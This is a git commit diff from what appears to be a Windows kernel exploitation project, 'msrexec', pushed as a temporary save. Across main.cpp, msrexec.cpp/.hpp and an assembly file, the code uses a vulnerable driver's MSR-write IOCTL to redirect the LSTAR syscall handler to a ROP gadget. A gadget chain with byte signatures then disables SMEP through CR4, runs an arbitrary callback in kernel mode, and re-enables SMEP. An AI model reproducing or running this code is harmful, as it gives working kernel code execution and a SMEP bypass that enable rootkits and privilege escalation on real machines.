i think my ssd i dying, this is a temp push...

merge-requests/1/head
_xeroxz 3 years ago
parent 0fcc7cab62
commit e011f67935

21527
ia32.hpp

File diff suppressed because it is too large Load Diff

@ -18,12 +18,12 @@ int __cdecl main(int argc, char** argv)
std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
writemsr_t _write_msr =
writemsr_t _write_msr =
[&](std::uint32_t reg, std::uintptr_t value) -> void
{
// put your code here to write MSR....
// the code is defined in vdm::writemsr for me...
vdm::writemsr(reg, value);
vdm::writemsr(reg, value);
};
const auto ex_alloc_pool =
@ -31,7 +31,7 @@ int __cdecl main(int argc, char** argv)
utils::kmodule::get_export(
"ntoskrnl.exe", "ExAllocatePool"));
const auto dbg_print =
const auto dbg_print =
reinterpret_cast<dbg_print_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "DbgPrint"));
@ -43,13 +43,13 @@ int __cdecl main(int argc, char** argv)
for (auto idx = 0u; idx < 100; ++idx)
{
msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void
{
dbg_print("> allocated pool -> 0x%p\n",
ex_alloc_pool(NULL, 0x1000));
});
{
dbg_print("> allocated pool -> 0x%p\n",
ex_alloc_pool(NULL, 0x1000));
});
}
const auto unload_result =
const auto unload_result =
vdm::unload_drv(drv_handle, drv_key);
if (unload_result != STATUS_SUCCESS)
@ -60,4 +60,4 @@ int __cdecl main(int argc, char** argv)
std::printf("completed tests...\n");
std::getchar();
}
}

@ -1,12 +1,12 @@
#include "msrexec.hpp"
void msrexec_handler()
void msrexec_handler(callback_t* callback)
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
//callback();
(*callback)(ntoskrnl_base, get_system_routine);
}
namespace vdm
@ -14,39 +14,129 @@ namespace vdm
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
: wrmsr(wrmsr)
{
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
if (!find_gadgets())
std::printf("> failed to find gadgets...\n");
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
if (!find_globals())
std::printf("> failed to find globals...\n");
// this is a guess aided by cpuid feature checks...
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
cpuid_eax_07 cpuid_features;
__cpuid((int*)&cpuid_features, 7);
// if i dont set a bit, it means its 0...
cr4 cr4_value{};
cr4_value.debugging_extensions = true;
cr4_value.page_size_extensions = true;
cr4_value.machine_check_enable = true;
// however the system can still *not* have PAE enabled
// but i assume if its supported, windows will use it...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.physical_address_extension =
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
// again the system can still *not* have PGE enabled
// but i assume if its supported, windows will use it...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.page_global_enable =
cpuid_info.cpuid_feature_information_edx.page_global_bit;
// again the system can still *not* have FXSAVE/FXRSTOR enabled
// but i assume if its supported, windows will use it...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.os_fxsave_fxrstor_support =
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
// windows has this bit high on my VM so I
// assume windows can handle these exceptions...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.os_xmm_exception_support = true;
cr4_value.fsgsbase_enable =
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
cr4_value.os_xsave =
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
m_smep_off.flags = cr4_value.flags;
m_smep_off.smep_enable = false;
// WARNING: some virtual machines dont have SMEP...
// my VMWare VM doesnt... nor does my Virtual Box VM...
m_smep_on.flags = cr4_value.flags;
m_smep_on.smap_enable = cpuid_features.ebx.smep;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::printf("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
}
auto msrexec_ctx::find_gadgets() -> bool
{
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
if (!m_mov_cr4_gadget)
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
return {};
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx");
if (!m_sysret_gadget)
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx");
return {};
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
if (!m_pop_rcx_gadget)
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
return {};
if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
return;
return true;
}
m_smep_off = 0x6F8; // TODO construct cr4 value...
m_smep_on = 0x6F8;
const auto [section_data, section_rva] =
auto msrexec_ctx::find_globals() -> bool
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), ".text");
const auto ki_system_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
section_data.data()), section_data.size(),
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
m_system_call = (ki_system_call -
if (!ki_system_call)
return {};
m_system_call = (ki_system_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
/*
@ -58,13 +148,7 @@ namespace vdm
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
return true;
}
void msrexec_ctx::exec(callback_t kernel_callback)
@ -83,13 +167,20 @@ namespace vdm
while (!SwitchToThread());
// set LSTAR to first rop gadget... race begins here...
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
// go go gadget kernel execution...
syscall_wrapper(kernel_callback);
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
std::printf("> failed to set LSTAR...\n");
else
// go go gadget kernel execution...
syscall_wrapper(&kernel_callback);
// reset thread priority...
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
}
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
{ this->wrmsr = wrmsr; }
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
{ return this->wrmsr; }
}

@ -8,15 +8,19 @@
#define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x48\x0F\x07"
// this is win10 2004... TODO: see how far back this signature works...
// not sure how far back this signature goes... works on 1507 though....
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
using callback_t = std::function<void()>;
using get_system_routine_t = void* (*)(void*, const char*);
using callback_t = std::function<void(void*, get_system_routine_t)>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler();
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler(callback_t* callback);
inline get_system_routine_t get_system_routine = nullptr;
inline void* ntoskrnl_base = nullptr;
namespace vdm
{
@ -25,7 +29,11 @@ namespace vdm
public:
explicit msrexec_ctx(writemsr_t wrmsr);
void exec(callback_t kernel_callback);
void set_wrmsr(writemsr_t wrmsr);
auto get_wrmsr() -> writemsr_t const;
private:
auto find_gadgets() -> bool;
auto find_globals() -> bool;
writemsr_t wrmsr;
};
}

@ -11,6 +11,7 @@
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClInclude Include="ia32.hpp" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="msrexec.hpp" />
<ClInclude Include="raw_driver.hpp" />

@ -29,6 +29,9 @@
<ClInclude Include="msrexec.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ia32.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">

@ -4,7 +4,7 @@ extern msrexec_handler : proc
; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h
m_system_call dq 0h
m_system_call dq 0h
m_mov_cr4_gadget dq 0h
m_sysret_gadget dq 0h
@ -13,7 +13,6 @@ extern msrexec_handler : proc
m_smep_on dq 0h
m_smep_off dq 0h
; all of these are setup by the c++ code...
public m_smep_on
public m_smep_off
@ -54,25 +53,28 @@ syscall_handler proc
syscall_handler endp
syscall_wrapper proc
push r10
mov r10, rcx
push m_sysret_gadget
push r10 ; syscall puts RIP into rcx...
mov r10, rcx ; swap r10 and rcx...
push m_sysret_gadget ; REX.W prefixed...
lea rax, finish
push rax
push m_pop_rcx_gadget
lea rax, finish ; preserved value of RIP by putting it on the stack here...
push rax ;
push m_mov_cr4_gadget
push m_smep_on
push m_pop_rcx_gadget
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
lea rax, syscall_handler
push rax
push m_mov_cr4_gadget ; turn smep back on...
push m_mov_cr4_gadget
push m_smep_off
syscall
push m_smep_on ; value of CR4 with smep off...
push m_pop_rcx_gadget ;
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
push rax ;
push m_mov_cr4_gadget ; disable smep...
push m_smep_off ;
syscall ; LSTAR points at a pop rcx gadget...
; it will put m_smep_off into rcx...
finish:
pop r10
ret

@ -1,13 +0,0 @@
#pragma once
#include <cstdint>
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" std::uintptr_t m_smep_on;
extern "C" std::uintptr_t m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper(...);

@ -17,6 +17,7 @@
#include <string>
#include <vector>
#include <map>
#include "ia32.hpp"
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
@ -38,6 +39,24 @@ typedef struct _RTL_PROCESS_MODULES
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
extern "C++"
{
char _RTL_CONSTANT_STRING_type_check(const WCHAR* s);
// __typeof would be desirable here instead of sizeof.
template <size_t N> class _RTL_CONSTANT_STRING_remove_const_template_class;
template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(char)> { public: typedef char T; };
template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(WCHAR)> { public: typedef WCHAR T; };
#define _RTL_CONSTANT_STRING_remove_const_macro(s) \
(const_cast<_RTL_CONSTANT_STRING_remove_const_template_class<sizeof((s)[0])>::T*>(s))
}
#define RTL_CONSTANT_STRING(s) \
{ \
sizeof( s ) - sizeof( (s)[0] ), \
sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \
_RTL_CONSTANT_STRING_remove_const_macro(s) \
}
namespace utils
{
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)

@ -50,12 +50,12 @@ namespace vdm
return driver::unload(drv_key);
}
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> void
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
{
std::uint32_t bytes_handled;
write_msr_t io_data{ reg, value };
DeviceIoControl
return DeviceIoControl
(
vdm::drv_handle, IOCTL_WRMSR,
&io_data, sizeof io_data,

Loading…
Cancel
Save